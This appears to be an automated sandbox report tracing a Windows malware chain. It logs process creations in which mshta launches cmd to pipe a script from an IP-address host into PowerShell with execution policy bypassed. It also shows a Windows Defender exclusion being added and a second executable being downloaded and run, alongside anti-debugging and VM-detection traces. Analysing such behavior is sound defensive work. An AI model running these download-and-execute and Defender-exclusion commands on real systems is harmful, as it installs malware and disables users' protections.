Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\Temp\Launcher.exe	Memory allocated: 7BE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Memory allocated: 7ED0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Memory allocated: 9ED0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5154	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4657	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7828	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1771	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4356	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5425	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Dropped PE file which has not been started: C:\Windows\Temp\iviewers.dll

Jump to dropped file

Source: C:\Windows\Temp\Launcher.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_6-6727
Source: C:\Windows\Temp\io12j1es.2tm.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_12-65360

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5772	Thread sleep count: 5154 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3272	Thread sleep count: 4657 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1220	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6724	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe TID: 792	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7260	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7468	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1E0B500 FindClose,FindFirstFileExW,GetLastError,		12_2_00007FF6F1E0B500
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1E0B5B0 GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,__std_fs_open_handle,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,GetFileInformationByHandleEx,GetLastError,CloseHandle,CloseHandle,CloseHandle,		12_2_00007FF6F1E0B5B0

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DD73F0 GetLogicalDriveStringsW,_invalid_parameter_noinfo_noreturn,

12_2_00007FF6F1DD73F0

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DE9038 VirtualQuery,GetSystemInfo,VirtualAlloc,VirtualProtect,

12_2_00007FF6F1DE9038

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\migration\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\replacementmanifests\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\migration\wtr\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\	Jump to behavior

Source: io12j1es.2tm.exe, 0000000C.00000003.1896641477.000001F157548000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F1574C9000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000003.1905591176.000001F15753A000.00000004.00000020.00020000.00000000.sdmp, io12j1es.2tm.exe, 0000000C.00000002.2109507353.000001F15751F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: curl.exe, 00000004.00000003.1738251016.0000000002C60000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1781524753.0000000006C0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 00000005.00000002.1773038956.000000000079C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\"

Source: C:\Windows\Temp\io12j1es.2tm.exe

API call chain: ExitProcess graph end node

graph_12-65301

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DDA430 RtlAcquirePebLock,NtAllocateVirtualMemory,lstrcpyW,lstrcatW,NtAllocateVirtualMemory,lstrcpyW,RtlInitUnicodeString,RtlInitUnicodeString,LdrEnumerateLoadedModules,RtlReleasePebLock,_invalid_parameter_noinfo_noreturn,CoInitializeEx,lstrcpyW,lstrcatW,CoGetObject,lstrcpyW,lstrcatW,CoGetObject,CoUninitialize,

12_2_00007FF6F1DDA430

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B6FE37 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_00B6FE37

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1E0D804 GetLastError,IsDebuggerPresent,OutputDebugStringW,

12_2_00007FF6F1E0D804

Source: C:\Windows\Temp\Launcher.exe

6_2_00B5B905

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DF9EEC GetProcessHeap,

12_2_00007FF6F1DF9EEC

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Temp\io12j1es.2tm.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Temp\Launcher.exe	Code function: 6_2_00B6FAC0 SetUnhandledExceptionFilter,	6_2_00B6FAC0
Source: C:\Windows\Temp\Launcher.exe	Code function: 6_2_00B6F4CC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00B6F4CC
Source: C:\Windows\Temp\Launcher.exe	Code function: 6_2_00B6FE37 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00B6FE37
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DFEC08 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	12_2_00007FF6F1DFEC08
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: 12_2_00007FF6F1DE7F68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	12_2_00007FF6F1DE7F68

Source: C:\Windows\Temp\Launcher.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"			Jump to behavior

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -Command -

Source: C:\Windows\Temp\io12j1es.2tm.exe

Code function: 12_2_00007FF6F1DCB420 ShellExecuteW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

12_2_00007FF6F1DCB420

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s http://147.45.47.15/script.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Temp\Launcher.exe "C:\Windows\Temp\Launcher.exe"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'"	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Process created: C:\Windows\Temp\io12j1es.2tm.exe "C:\Windows\Temp\io12j1es.2tm.exe"	Jump to behavior

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B6C7BB SetSecurityDescriptorDacl,GetLastError,

6_2_00B6C7BB

Source: C:\Windows\Temp\Launcher.exe

Code function: 6_2_00B6DA20 GetCurrentProcess,OpenProcessToken,malloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,FreeSid,free,CloseHandle,

6_2_00B6DA20

Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: GetLocaleInfoW,	12_2_00007FF6F1DF9310
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: GetLocaleInfoEx,FormatMessageA,	12_2_00007FF6F1E0B170
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: GetLocaleInfoW,	12_2_00007FF6F1DF9518
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	12_2_00007FF6F1DF9468
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	12_2_00007FF6F1DF964C
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: EnumSystemLocalesW,	12_2_00007FF6F1DEDAE0
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	12_2_00007FF6F1DF8C04
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	12_2_00007FF6F1DF90C8
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: GetLocaleInfoW,	12_2_00007FF6F1DEE020
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: EnumSystemLocalesW,	12_2_00007FF6F1DF9030
Source: C:\Windows\Temp\io12j1es.2tm.exe	Code function: EnumSystemLocalesW,	12_2_00007FF6F1DF8F60

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Temp\Launcher.exe	Queries volume information: C:\Windows\Temp\iviewers.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
